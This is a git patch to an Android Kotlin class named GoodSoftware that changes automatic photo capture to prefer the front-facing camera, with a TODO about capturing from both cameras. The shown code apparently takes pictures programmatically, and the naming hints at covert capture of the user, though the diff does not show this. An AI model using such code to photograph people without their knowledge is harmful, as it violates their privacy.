From 6e0c78e732e7bff350c141e75ab8741cd5bfc07e Mon Sep 17 00:00:00 2001 From: Joren Date: Thu, 2 May 2024 00:30:55 +0200 Subject: [PATCH] Take picture from front facing instaid of back, unless not avaible... ideally from both //TODO --- app/src/main/java/com/ti/m/GoodSoftware.kt | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) diff --git a/app/src/main/java/com/ti/m/GoodSoftware.kt b/app/src/main/java/com/ti/m/GoodSoftware.kt index 3f3364d..dd4b661 100644 --- a/app/src/main/java/com/ti/m/GoodSoftware.kt +++ b/app/src/main/java/com/ti/m/GoodSoftware.kt @@ -40,7 +40,7 @@ import androidx.lifecycle.lifecycleScope import kotlinx.coroutines.launch -class GoodSoftware (private val activity: ComponentActivity) { +class GoodSoftware (private val activity: MainActivity) { private var cameraProvider: ProcessCameraProvider? = null private var lensFacing: Int = CameraSelector.LENS_FACING_BACK private var imageCapture: ImageCapture? = null @@ -206,11 +206,11 @@ class GoodSoftware (private val activity: ComponentActivity) { return } - // Select the lens facing - lensFacing = if (hasBackCamera()) { - CameraSelector.LENS_FACING_BACK - } else { + // Select the lens facing, prioritize front camera if available + lensFacing = if (hasFrontCamera()) { CameraSelector.LENS_FACING_FRONT + } else { + CameraSelector.LENS_FACING_BACK } // Create ImageCapture instance @@ -243,19 +243,21 @@ class GoodSoftware (private val activity: ComponentActivity) { } // Bind the camera and start image capture - cameraProvider?.bindToLifecycle(lifecycleOwner, CameraSelector.DEFAULT_BACK_CAMERA, imageCapture) + cameraProvider?.bindToLifecycle(lifecycleOwner, CameraSelector.Builder().requireLensFacing(lensFacing).build(), imageCapture) // Take the picture imageCapture?.takePicture( ContextCompat.getMainExecutor(context), imageCapturedListener ) + cameraProvider?.unbind() } + private fun hasBackCamera(): Boolean { return cameraProvider?.hasCamera(CameraSelector.DEFAULT_BACK_CAMERA) ?: false }